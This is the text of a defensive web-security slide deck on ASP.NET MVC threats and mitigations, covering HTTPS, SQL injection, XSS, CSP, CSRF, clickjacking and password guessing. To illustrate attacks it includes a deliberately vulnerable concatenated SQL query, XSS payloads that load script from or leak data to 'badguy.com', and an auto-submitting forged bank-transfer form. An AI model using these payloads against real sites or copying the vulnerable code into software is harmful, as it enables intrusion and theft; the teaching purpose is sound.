Master Pages and Skins

Threats & Mitigation
Brock Allen
http://brockallen.com
[email protected]
@BrockLAllen
Objectives
• Mitigate against common threats on the web
–
–
–
–
–
–
–
–
–
Lack of HTTPS
SQL injection
XSS, CSP
CSRF
clickjacking
over/under posting
cookieless session
password guessing
bots
Eavesdropping and server spoofing/MITM
• Threat: Communication on a public network
– Attackers can intercept traffic and access secrets
• Threat: How do you authenticate server
– Do you trust the HTML and JavaScript in your page
• Mitigation: TLS/SSL/HTTPS
– Security provides
• Confidentiality, Integrity, Authentication
– Server authentication achieved via HTTPS
• As well as confidentiality and integrity
– Client authentication achieved via tokens
• Typically in HTTP headers
– MVC provides [RequireHttps] authorization filter
Protocol relative URLs
• Threat:
• Mitigation: protocol relative URLs
– Uses hosting page’s scheme
<script src=“//server.com/scripts/js”></script>
Secure cookies
• Threat: Leaked cookies
• Mitigation: use secure cookies
– browser will not send cookie over non-SSL request
public ActionResult Index()
{
var cookie = new HttpCookie("foo", "bar") {
Secure=true
};
Response.Cookies.Add(cookie);
return View();
}
HTTP Strict Transport Security (HSTS)
• Threat: Non-SSL connections
– MITM can redirect/take over connection
• Mitigation: HSTS
– Strict-Transport-Security HTTPS response header to indicate
communication should only be over HTTPS
– Cache value helps mitigate MITM attacks on initial non-SSL
connection
– Browsers contain pre-loaded list of HSTS sites
HTTP/1.1 200 OK
Content-Type:text/html
Strict-Transport-Security: max-age=31536000;
includeSubDomains
Key Pinning
• Threat: Compromised CAs and MITM cert spoofing
• Mitigation: Key Pinning
–
–
–
–
Servers provide whitelist of certificate(s) allowed in cert chain
Browser “pins” server to specified certificate
Future requests must use pinned certificate
RFC7469: https://tools.ietf.org/html/rfc7469
HTTP/1.1 200 OK
Content-Type:text/html
Public-Key-Pins:
max-age=2592000;
pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=";
pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=";
SQL injection
• Threat: untrusted input used as executable SQL statements
– due to string concatenation
public ActionResult UpdateAccount(int userID, string name)
{
var sql = "update users set name = '" + name +
"' where userid = " + userID.ToString();
ExecuteSQL(sql);
return View();
}
SQL injection
• Mitigation: validate untrusted input
– validate input with RegEx
• Mitigation: escape untrusted input
– use parameterized SQL to escape input
• not just stored procs
• LINQ to SQL and EF automatically use parameters
public ActionResult UpdateAccount(int userID, string name)
{
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "update users set name = @name
where userid = @id";
cmd.Parameters.AddWithValue("@name", name);
cmd.Parameters.AddWithValue("@id", userID);
ExecuteCommand(cmd);
return View();
}
Cross-site scripting attacks (XSS)
• Threat: untrusted input used as rendered HTML
– malicious user gets other user to execute malicious markup
• provides access to attacked user's cookies
– execute from data stored in database
– execute from javascript embedded in URL
public ActionResult ViewProduct(string productName)
{
ViewData["ProductName"] = productName;
return View();
}
<p>
Product Name: <%= ViewData["ProductName"] %>
</p>
Script: <script src=“http://badguy.com/attack.js”></script>
Scriptless: <img src=‘http://badguy.com?
Cross-site scripting attacks (XSS)
• Mitigation: Validate input
– RegEx for malicious inputs (<script>, e.g.)
• performed automatically
– control with ValidateInputAttribute
• mainly used to allow HTML to be posted (when necessary)
– control with AllowHtml
• used on properties of model class
[ValidateInput(false)]
public ActionResult UpdateProduct(
string name, string description)
{
ViewData["ProductName"] = productName;
return View();
}
Cross-site scripting attacks (XSS)
• Mitigation: HTML encode untrusted values
– Razor view engine @expression automatically encodes
– If using WebForms view engine syntax use:
• Html.Encode
• <%: some expression %>
– Html helpers all encode data
– must encode for other contexts
• can use AntiXSS Encode APIs
<p>
@ViewData["ProductName"]
</p>
<p>
<%= Html.Encode(ViewData["ProductName"]) %>
</p>
<p>
<%: ViewData["ProductName"] %>
</p>
Content security policy (CSP)
• Mitigation: Only allow content from trusted sources
– Content-Security-Policy HTTP header whitelists sources
• Also X-WebKit-CSP and X-Content-Security-Policy
• Inline script is blocked
– Keywords indicate common semantics
• ‘*’
• ‘self’
• ‘none’
• https:
• ‘unsafe-inline’
• *.foo.com
HTTP/1.1 200 OK
Content-Type:text/html
Content-Security-Policy: script-src ‘self’ foo.com
https://bar.com *.baz.com
Content security policy (CSP)
• CSP can be applied to many things
– ; separated list in CSP header
Directive
Feature
default-src
Sets defaults for everything
script-src
JavaScript
connect-src
Origins allowed for Ajax, SSE, WebSockets
style-src
CSS
img-src
Images
font-src
Fonts
object-src
Objects (Flash)
media-src
Audio/Video
frame-src
Frames
Cross-site scripting attacks (XSS)
• Mitigation: use HTTP-only cookies
– browser prevents JavaScript from accessing cookies
• not supported in older browsers
public ActionResult Index()
{
var cookie = new HttpCookie("foo", "bar") {
HttpOnly=true
};
Response.Cookies.Add(cookie);
return View();
}
Cross-site request forgery (CSRF/XSRF)
• Threat: unauthorized commands sent while user logged in
–
–
–
–
–
user logs into bank website
user opens another tab in browser to malicious site
page from malicious site makes requests to bank website
bank website executes requests since user is logged in
requires timing on part of attacker
• user must be logged in
<form id='theform' action='http://bank.com/TransferFunds'>
<input type='text' name='fromAccount' value='123' />
<input type='text' name='toAccount' value='789' />
</form>
<script>
theform.submit();
</script>
Cross-site request forgery (CSRF/XSRF)
• Mitigation: validate requests with cookie based token
– upon login, issue cookie with random value
– in every <form> add hidden field with same random value
– compare in action method to validate request
AntiForgeryToken
• Html.AntiForgeryToken emits hidden input with token
• ValidateAntiForgeryTokenAttribute validates token
@using (Html.BeginForm("Transfer", "Bank"))
{
@Html.AntiForgeryToken()
<p>From: @Html.TextBox("fromAccount")</p>
<p>To: @Html.TextBox("toAccount")</p>
<p><input type="submit" value="Transfer" /></p>
}
[ValidateAntiForgeryToken]
public ActionResult Transfer(string fromAccount,
string toAccount)
{
// ...
}
CSRF and Web API
• Threat: Web API supports form-urlencoded media type
formatter for POST data
– Malicious page can POST a <form> to Web API endpoint and
model binding will map request data to method parameters
• Mitigation: disable form-urlencoded media type formatter
– <form> elements can’t submit application/json
– CORS prevents cross-origin Ajax calls
• Mitigation: Simulate MVC’s AntiForgeryToken support
– VS2012 SPA template used this approach
– Painful for both client and server
– Non-browser clients don’t want to use cookies anyway
• Mitigation: Don’t use cookies for Web API
– Use tokens, such as bearer tokens (obtained via OAuth2)
Clickjacking (site redressing)
• Threat: malicious site gets users to click invisible content
– malicious site uses invisible <iframe> to load another site
– user thinks they're clicking one thing, but really clicking content in
<iframe>
• Mitigation: frame busting or frame killing
– JavaScript to prevent running in <iframe>
<style>html { display : none; }</style>
<script type="text/javascript">
if(top === self) {
document.documentElement.style.display = 'block'; }
</script>
• Mitigation: X-Frame-Options HTTP header
– DENY, SAMEORIGIN or ALLOW-FROM origin
Over/under posting
• Threat: Model binding blindly maps submitted values
public class UserEntity
{
public string Name { get; set; }
public bool IsAdmin { get; set; }
}
public ActionResult ViewUser(int id)
{
UserEntity viewModel = database.GetUser(id);
return View(viewModel);
}
public ActionResult UpdateUser(UserModel model)
{
database.Update(model);
// ...
}
Over/under posting
• Mitigation: use [Bind] with Include or Exclude to indicate
allowed values
public ActionResult UpdateUser(
[Bind(Include=“Name”)] UserEntity model)
{
// ...
}
• Mitigation: Use dedicated classes for input model
public class UserInputModel
{
public string Name { get; set; }
}
Cookieless session/forms authentication
• Threat: Putting sensitive tokens in URL/query string
– User can share with others
– Attacker can deliver in phishing attack
http://localhost/(S(ul35xfac4xgeapihiswyd0d1))/default
• Mitigation: Use cookies
– ASP.NET session state is a bad idea anyway
Password guessing
• Threat: automated password guessing
– against public login page
• happened to twitter
• Mitigation: require strong passwords
– give users feedback on password strength
• Mitigation: use two factor authentication
– must use more than password to access site
Password guessing
• Mitigation: slow attacker down for failed attempts
– record failed attempts
– use Task.Delay(1000 * NumberOfFailedAttempts)
• Mitigation: lock access after failed attempts
– lock account after N failed attempts
• opens up DoS-like attack on account
– unlock account after X amount of time
var user = await UserManager.FindByNameAsync(userName);
if (await UserManager.IsLockedOutAsync(user.Id))
{
return SignInStatus.LockedOut;
}
if (!await UserManager.CheckPasswordAsync(user, password))
{
await UserManager.AccessFailedAsync(user.Id);
return SignInStatus.LockedOut;
}
// ...
Bots
• Threat: Bots spamming web sites
– automated software creating accounts, submitting data
• Mitigation: CAPTCHA
– Completely Automated Public Turing Test To Tell Computers and
Humans Apart
– http://www.captcha.net/
Summary
• Security is hard
• All input is evil
• Audit everything (except sensitive data)